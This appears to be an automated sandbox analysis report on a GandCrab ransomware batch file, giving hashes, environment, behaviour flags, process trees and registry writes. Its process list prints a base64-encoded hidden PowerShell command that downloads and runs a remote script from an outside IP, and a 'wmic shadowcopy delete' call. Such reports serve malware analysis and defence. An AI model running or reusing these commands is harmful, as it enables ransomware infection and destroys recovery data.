General Info Watch the FULL Interactive Analysis at ANY.RUN!

File name

mal_ran.bat

Verdict
Malicious activity
Analysis date
11/8/2018, 09:28:40
OS:
Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
trojan
ransomware
gandcrab
Indicators:

MIME:
text/plain
File info:
ASCII text, with very long lines, with no line terminators
MD5

420ce5db06ffe3ac5f813ee99db80caf

SHA1

964702358f8dbbd2e19b0791b4b5fb8de35b1df0

SHA256

69571096d40a65abef7ef4bf0a28f01e67449754aa9018a943922179891a825d

SSDEEP

24:I4kJQ1MZfar5aecVZxMAPA9Fn2Ghf9vjVqG7EvnN/fiAS25inr:EQ1MZOfcfxMrnlpXp7EvN/ZSv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distored by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Software environment set and analysis options

Launch configuration

Task duration
240 seconds
Additional time used
180 seconds
Fakenet option
off
Heavy Evaision option
off
MITM proxy
off
Route via Tor
off
Network geolocation
off
Privacy
Public submission
Autoconfirmation of UAC
off

Software preset

  • Internet Explorer 8.0.7601.17514
  • Adobe Acrobat Reader DC MUI (15.023.20070)
  • Adobe Flash Player 26 ActiveX (26.0.0.131)
  • Adobe Flash Player 26 NPAPI (26.0.0.131)
  • Adobe Flash Player 26 PPAPI (26.0.0.131)
  • Adobe Refresh Manager (1.8.0)
  • CCleaner (5.35)
  • FileZilla Client 3.36.0 (3.36.0)
  • Google Chrome (68.0.3440.106)
  • Google Update Helper (1.3.33.17)
  • Java 8 Update 92 (8.0.920.14)
  • Java Auto Updater (2.8.92.14)
  • Microsoft .NET Framework 4.6.1 (4.6.01055)
  • Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Professional 2010 (14.0.6029.1000)
  • Microsoft Office Proof (English) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (French) 2010 (14.0.6029.1000)
  • Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
  • Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
  • Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Office Single Image 2010 (14.0.6029.1000)
  • Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
  • Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
  • Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
  • Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
  • Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
  • Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
  • Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
  • Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
  • Mozilla Firefox 61.0.2 (x86 en-US) (61.0.2)
  • Notepad++ (32-bit x86) (7.5.1)
  • Opera 12.15 (12.15.1748)
  • Skype version 8.29 (8.29)
  • VLC media player (2.2.6)
  • WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

  • Client LanguagePack Package
  • Client Refresh LanguagePack Package
  • CodecPack Basic Package
  • Foundation Package
  • IE Troubleshooters Package
  • InternetExplorer Optional Package
  • KB2534111
  • KB2999226
  • KB976902
  • LocalPack AU Package
  • LocalPack CA Package
  • LocalPack GB Package
  • LocalPack US Package
  • LocalPack ZA Package
  • ProfessionalEdition
  • UltimateEdition

Behavior activities

MALICIOUS SUSPICIOUS INFO
Actions looks like stealing of personal data
  • powershell.exe (PID: 1684)
Deletes shadow copies
  • powershell.exe (PID: 1684)
Writes file to Word startup folder
  • powershell.exe (PID: 1684)
Renames files like Ransomware
  • powershell.exe (PID: 1684)
Connects to CnC server
  • powershell.exe (PID: 1684)
GandCrab keys found
  • powershell.exe (PID: 1684)
Dropped file may contain instructions of ransomware
  • powershell.exe (PID: 1684)
Executes PowerShell scripts
  • cmd.exe (PID: 3708)
Creates files like Ransomware instruction
  • powershell.exe (PID: 1684)
Reads Internet Cache Settings
  • powershell.exe (PID: 1684)
Creates files in the user directory
  • notepad++.exe (PID: 3968)
  • powershell.exe (PID: 1684)
Reads settings of System Certificates
  • powershell.exe (PID: 1684)
Dropped object may contain TOR URL's
  • powershell.exe (PID: 1684)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Static information

Screenshots

Processes

Total processes
46
Monitored processes
7
Malicious processes
2
Suspicious processes
0

Behavior graph

+
start cmd.exe no specs cmd.exe no specs notepad++.exe gup.exe cmd.exe no specs #GANDCRAB powershell.exe wmic.exe no specs
Specs description
Program did not start
Integrity level elevation
Task сontains an error or was rebooted
Process has crashed
Task contains several apps running
Executable file was dropped
Debug information is available
Process was injected
Network attacks were detected
Application downloaded the executable file
Actions similar to stealing personal data
Behavior similar to exploiting the vulnerability
Inspected object has sucpicious PE structure
File is detected by antivirus software
CPU overrun
RAM overrun
Process starts the services
Process was added to the startup
Behavior similar to spam
Low-level access to the HDD
Probably Tor was used
System was rebooted
Connects to the network
Known threat

Process information

Click at the process to see the details.

PID
3360
CMD
cmd /c ""C:\Users\admin\Desktop\mal_ran.bat" "
Path
C:\Windows\system32\cmd.exe
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Exit code
1
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msctf.dll
c:\windows\system32\imm32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

PID
2328
CMD
cmd /c ""C:\Users\admin\Desktop\mal_ran.bat" "
Path
C:\Windows\system32\cmd.exe
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Exit code
1
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll

PID
3968
CMD
"C:\Program Files\Notepad++\notepad++.exe" "C:\Users\admin\Desktop\mal_ran.bat"
Path
C:\Program Files\Notepad++\notepad++.exe
Indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Version:
Company
Don HO don.h@free.fr
Description
Notepad++ : a free (GNU) source code editor
Version
7.51
Modules
Image
c:\program files\notepad++\notepad++.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\shell32.dll
c:\windows\system32\dbghelp.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\comdlg32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\ole32.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\imagehlp.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\ncrypt.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\bcryptprimitives.dll
c:\program files\notepad++\scilexer.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msimg32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\uxtheme.dll
c:\windows\system32\profapi.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\apphelp.dll
c:\program files\notepad++\updater\gup.exe
c:\windows\system32\windowscodecs.dll
c:\program files\notepad++\plugins\mimetools.dll
c:\program files\notepad++\plugins\nppconverter.dll
c:\program files\notepad++\plugins\nppexport.dll

PID
3116
CMD
"C:\Program Files\Notepad++\updater\gup.exe" -v7.51
Path
C:\Program Files\Notepad++\updater\gup.exe
Indicators
Parent process
notepad++.exe
User
admin
Integrity Level
MEDIUM
Exit code
0
Version:
Company
Don HO don.h@free.fr
Description
GUP : a free (LGPL) Generic Updater
Version
4.1
Modules
Image
c:\program files\notepad++\updater\gup.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\program files\notepad++\updater\libcurl.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\nsi.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\normaliz.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\shell32.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wship6.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\credssp.dll
c:\windows\system32\schannel.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\system32\ncrypt.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\uxtheme.dll
c:\windows\system32\ole32.dll
c:\windows\system32\cryptbase.dll

PID
3708
CMD
"C:\Windows\system32\cmd.exe"
Path
C:\Windows\system32\cmd.exe
Indicators
No indicators
Parent process
––
User
admin
Integrity Level
MEDIUM
Version:
Company
Microsoft Corporation
Description
Windows Command Processor
Version
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Image
c:\windows\system32\cmd.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\apphelp.dll

PID
1684
CMD
powershell.exe -nop -w hidden -e SQBmACgAJABFAE4AVgA6AFAAUgBPAEMARQBTAFMATwBSAF8AQQBSAEMASABJAFQARQBDAFQAVQBSAEUAIAAtAGMAbwBuAHQAYQBpAG4AcwAgACcAQQBNAEQANgA0ACcAKQB7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAIgAkAEUAbgB2ADoAVwBJAE4ARABJAFIAXABTAHkAcwBXAE8AVwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACIAIAAtAGEAcgBnAHUAbQBlAG4AdAAgACIASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABzAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAOAAuADIAMQAxAC4AMQAwADUALgA5ADkALwBrAGEAcwBhACcAKQApADsASQBuAHYAbwBrAGUALQBTAFoAWQBJAEkAVABZAFIAQQBZAEgAOwBTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAHMAIAAxADAAMAAwADAAMAAwADsAIgB9AGUAbABzAGUAewAgAEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABuAGUAdAAuAHcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADgALgAyADEAMQAuADEAMAA1AC4AOQA5AC8AawBhAHMAYQAnACkAKQA7AEkAbgB2AG8AawBlAC0AUwBaAFkASQBJAFQAWQBSAEEAWQBIADsAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBzACAAMQAwADAAMAAwADAAMAA7ACAAfQA=
Path
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Indicators
Parent process
cmd.exe
User
admin
Integrity Level
MEDIUM
Version:
Company
Microsoft Corporation
Description
Windows PowerShell
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\shell32.dll
c:\windows\system32\userenv.dll
c:\windows\system32\profapi.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\setupapi.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\devobj.dll
c:\windows\system32\propsys.dll
c:\windows\system32\ntmarta.dll
c:\windows\system32\wldap32.dll
c:\windows\system32\apphelp.dll
c:\windows\system32\shdocvw.dll
c:\windows\system32\linkinfo.dll
c:\windows\system32\ntshrui.dll
c:\windows\system32\srvcli.dll
c:\windows\system32\cscapi.dll
c:\windows\system32\slc.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
c:\windows\system32\version.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorwks.dll
c:\windows\winsxs\x86_microsoft.vc80.crt_1fc8b3b9a1e18e3b_8.0.50727.4940_none_d08cc06a442b34fc\msvcr80.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\mscorlib\62a0b3e4b40ec0e8c5cfaa0c8848e64a\mscorlib.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system\9e0a3b9b9f457233a335d7fba8f95419\system.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\4bdde288f147e3b3f2c090ecdf704e6d\microsoft.powershell.consolehost.ni.dll
c:\windows\assembly\gac_msil\system.management.automation\1.0.0.0__31bf3856ad364e35\system.management.automation.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management.a#\a8e3a41ecbcc4bb1598ed5719f965110\system.management.automation.ni.dll
c:\windows\system32\psapi.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.core\fbc05b5b05dc6366b02b8e2f77d080f1\system.core.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\e112e4460a0c9122de8c382126da4a2f\microsoft.powershell.commands.diagnostics.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuratio#\f02737c83305687a68c088927a6c5a98\system.configuration.install.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.wsman.man#\f1865caa683ceb3d12b383a94a35da14\microsoft.wsman.management.ni.dll
c:\windows\assembly\gac_msil\microsoft.wsman.runtime\1.0.0.0__31bf3856ad364e35\microsoft.wsman.runtime.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.transactions\ad18f93fc713db2c4b29b25116c13bd8\system.transactions.ni.dll
c:\windows\assembly\gac_32\system.transactions\2.0.0.0__b77a5c561934e089\system.transactions.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\82d7758f278f47dc4191abab1cb11ce3\microsoft.powershell.commands.utility.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\583c7b9f52114c026088bdb9f19f64e8\microsoft.powershell.commands.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\microsoft.powershel#\6c5bef3ab74c06a641444eff648c0dde\microsoft.powershell.security.ni.dll
c:\windows\microsoft.net\framework\v2.0.50727\culture.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.xml\461d3b6b3f43e6fbe6c897d5936e17e4\system.xml.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.management\6f3b99ed0b791ff4d8aa52f2f0cd0bcf\system.management.ni.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.directoryser#\45ec12795950a7d54691591c615a9e3c\system.directoryservices.ni.dll
c:\windows\system32\shfolder.dll
c:\windows\system32\secur32.dll
c:\windows\system32\sspicli.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.data\1e85062785e286cd9eae9c26d2c61f73\system.data.ni.dll
c:\windows\assembly\gac_32\system.data\2.0.0.0__b77a5c561934e089\system.data.dll
c:\windows\system32\nsi.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\microsoft.net\framework\v2.0.50727\mscorjit.dll
c:\windows\assembly\nativeimages_v2.0.50727_32\system.configuration\bc09ad2d49d8535371845cd7532f9271\system.configuration.ni.dll
c:\windows\system32\rasapi32.dll
c:\windows\system32\rasman.dll
c:\windows\system32\rtutils.dll
c:\windows\system32\mswsock.dll
c:\windows\system32\wshtcpip.dll
c:\windows\system32\wship6.dll
c:\windows\system32\winhttp.dll
c:\windows\system32\webio.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\dhcpcsvc6.dll
c:\windows\system32\dhcpcsvc.dll
c:\windows\system32\mpr.dll
c:\windows\system32\wininet.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\drprov.dll
c:\windows\system32\winsta.dll
c:\windows\system32\ntlanman.dll
c:\windows\system32\davclnt.dll
c:\windows\system32\davhlpr.dll
c:\windows\system32\wkscli.dll
c:\windows\system32\netutils.dll
c:\windows\system32\browcli.dll
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\iconcodecservice.dll
c:\windows\system32\windowscodecs.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\normaliz.dll
c:\windows\system32\sensapi.dll
c:\windows\system32\nlaapi.dll
c:\windows\system32\rasadhlp.dll
c:\windows\system32\fwpuclnt.dll
c:\windows\system32\wintrust.dll
c:\windows\system32\schannel.dll
c:\windows\system32\credssp.dll
c:\windows\system32\ncrypt.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\bcryptprimitives.dll
c:\windows\system32\gpapi.dll
c:\windows\system32\cryptnet.dll
c:\windows\system32\cabinet.dll
c:\windows\system32\devrtl.dll

PID
3804
CMD
"C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
Path
C:\Windows\system32\wbem\wmic.exe
Indicators
No indicators
Parent process
powershell.exe
User
admin
Integrity Level
MEDIUM
Exit code
2147749908
Version:
Company
Microsoft Corporation
Description
WMI Commandline Utility
Version
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Image
c:\windows\system32\wbem\wmic.exe
c:\systemroot\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\wtsapi32.dll
c:\windows\system32\shlwapi.dll
c:\windows\system32\ws2_32.dll
c:\windows\system32\nsi.dll
c:\windows\system32\secur32.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\winnsi.dll
c:\windows\system32\imm32.dll
c:\windows\system32\msctf.dll
c:\windows\system32\cryptbase.dll
c:\windows\system32\clbcatq.dll
c:\windows\system32\wbem\wbemprox.dll
c:\windows\system32\wbemcomn.dll
c:\windows\system32\msxml3.dll
c:\windows\system32\urlmon.dll
c:\windows\system32\wininet.dll
c:\windows\system32\iertutil.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\msasn1.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\comctl32.dll
c:\windows\system32\shell32.dll
c:\windows\system32\profapi.dll
c:\windows\system32\dnsapi.dll
c:\windows\system32\cryptsp.dll
c:\windows\system32\rsaenh.dll
c:\windows\system32\rpcrtremote.dll
c:\program files\common files\microsoft shared\office14\msoxmlmf.dll
c:\windows\winsxs\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_50934f2ebcb7eb57\msvcr90.dll
c:\windows\system32\wbem\wbemsvc.dll
c:\windows\system32\wbem\fastprox.dll
c:\windows\system32\ntdsapi.dll
c:\windows\system32\wbem\wmiutils.dll

Registry activity

Total events
447
Read events
347
Write events
100
Delete events
0

Modification events

PID
Process
Operation
Key
Name
Value
3968
notepad++.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
LanguageList
en-US
3968
notepad++.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
UNCAsIntranet
0
3968
notepad++.exe
write
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
AutoDetect
1
1684
powershell.exe
write
HKEY_CLASSES_ROOT\Local Settings\MuiCache\5F\52C64B7E
LanguageList
en-US
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableFileTracing
0
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
EnableConsoleTracing
0
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileTracingMask
4294901760
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
ConsoleTracingMask
4294901760
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
MaxFileSize
1048576
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
FileDirectory
%windir%\tracing
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableFileTracing
0
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
EnableConsoleTracing
0
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileTracingMask
4294901760
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
ConsoleTracingMask
4294901760
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
MaxFileSize
1048576
1684
powershell.exe
write
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
FileDirectory
%windir%\tracing
1684
powershell.exe
write
HKEY_CURRENT_USER\Software\ex_data\data
ext
2E006D007900780074006C00680073000000
1684
powershell.exe
write
HKEY_CURRENT_USER\Software\keys_data\data
public
0602000000A40000525341310008000001000100710440CF1D76398C09BF48F989D76A5AA9FD457D77A1D0B079D361C7818E16CA8A8C0AF8D0486982DC9CA8D6D9F0FC7D1AB46F83028CF1AA5B34BD58161CEE4E8DAEE1D0356A85FD9C08604ED2F9ABAE323AC828ABF59E5A338C8063EA352960DE44F999C85CDFDDA2F658D84F2A9EFC28C139117A3D324966D04CFFF14F2D1517F267ABC73B7DD70B526AA4A584A27A9D86850D0AE1368CA275B3B8DAB3A40A2BB2AC82D2A324BD5CDCD6237EB2B5A8F04DAE37348F18BDA9813BC611A702BAFEFC05FDB9E7E1F41BCCD96F18DCE1B3AAE75272368B0824DBD8FBC0C6B7972C15E1ADD5006589CACB48C9229CBB86D66E7F6628ED33F0C5E1A71EB1CD545BC4
1684
powershell.exe
write
HKEY_CURRENT_USER\Software\keys_data\data
private
94040000504F547F72FF76905EA15422A5A349DB0E0709C85F1D632493E96064CBD3854E8590774827440390F1DED55BF0336757AA288F56AA46D9664BDDA3668BDF14F6E74E80F44A238652BB7C2EF92DCBEF93C7721B2EC569D39FC603542269E214334A25DB6D00BFECC237714A4FFC3590A51ACF18879622F7BBE763095F863E340683275EE82D5AD7CF52BDD31B6CC8ABFB1F08E3A75088C338C933C1AB8A5EC1CACC7A4ACE323B708775C3F9D68987A1D1F1B51954A5E05C23091A7D13F7F9C9C27CBFAF04AE8B908AB256C094BEAEAC905A71E613D7878A416C2F42D031A51952EA77ECE63680B90D8813BF732C08B7F511DE8F7F275A5F8CBDCDAE55A8271B0607A6FA5C21A670FCAC461A091857B6337B533B31A04940682B66C37C2F3F3291B89C5238A45492E30B8A5C5BC0D41E0C31ADD8C49470D5091875E498DEC659987AEEFD6311C06832F8684AF58DC7189763A3454A8D5EBA73AE5766FB73690587C21F7A88FB588A78584CA00B916ABAB407B3571E333BD310167651E918AB6B89E6A1C5B8507D705F646BDE908D1D3CB2FD471A4A33A033A607721C3EAA141E027744E9773C3C6E33C8B5D1BB80E86D3BED8B54897A1C4FEADFB709E4912EDDC913E03A646E7E682D1E46A49F404BC8C74A47E69A0D705E9BAA613ADD93F6EE4AD1F650116F60BC4BBE122253227D6C3D94946AEC20E983F08E838E8AB87AFE597E05FD578E8AC6ACCE992C240E7ACA1B34C7327BD5ED2E54D58C7353062EA32EAA0F16174FFBB2181026698A353C6B35548B94C08E94F1944CE5B535CD8A4B54248E0A32CF48060E82398A6F451BF7D7DC47F3B36C5170F95E1D0D8C7696E167591765AD1419C7F0AF67EE3508A9706A9895C095FF901FE839982DF7BEDE9878C51BB6A92E3E7E1BEB47232E90CA88DB40618F353B52F2456396562B2E32737571F2CC78DD2A09302D3EB651D0695AEC568054604B7EFA525B228D9ECFAF754CEDF1792392735E60B31024AB2559B3C907583E9AFD3D1D91803476494FB23CCA95515E24733DBC3F4B41211EC9F825164A4A118579B2698A31698C1F6928B843343368FE58AA0D8EB27C4E5F25D4E9039302DBF04B20C5CD4134029B26AFCAEF49C86683ED70CF268D6F67513A32A392D6611C7725352C43F687445E67AFBAA8CB190A25904707605AB965BA6C20644DA7159529D107E9B5FD1EDB05B931FDD06B38FEBF5ADFEADA20BB12E74733E5F728EE2C31F8363F4AC6C6CA4D4E234B9220095D84D14C80ACE1F95F2F5F35B84F61FD56F744BDF5CBA5F24612E8669B7655D672088069432073C584071E1847D7470552569DDBF0152D7C4D9D2FBD81436B11B62161A3010CC92E643CC7D2D6133DA157F38C128B4D8AA3664676D44A0214850ECA4993E44ECD5CC014299D0A6448EB5DBC654222B70ADE9C777D719F874F2C955A7492EB3FB7D4887F8760AE0B17A326EC85F3C405329DBE44D7A6E049B8DE22F2B653DEE9BD07A4D3151E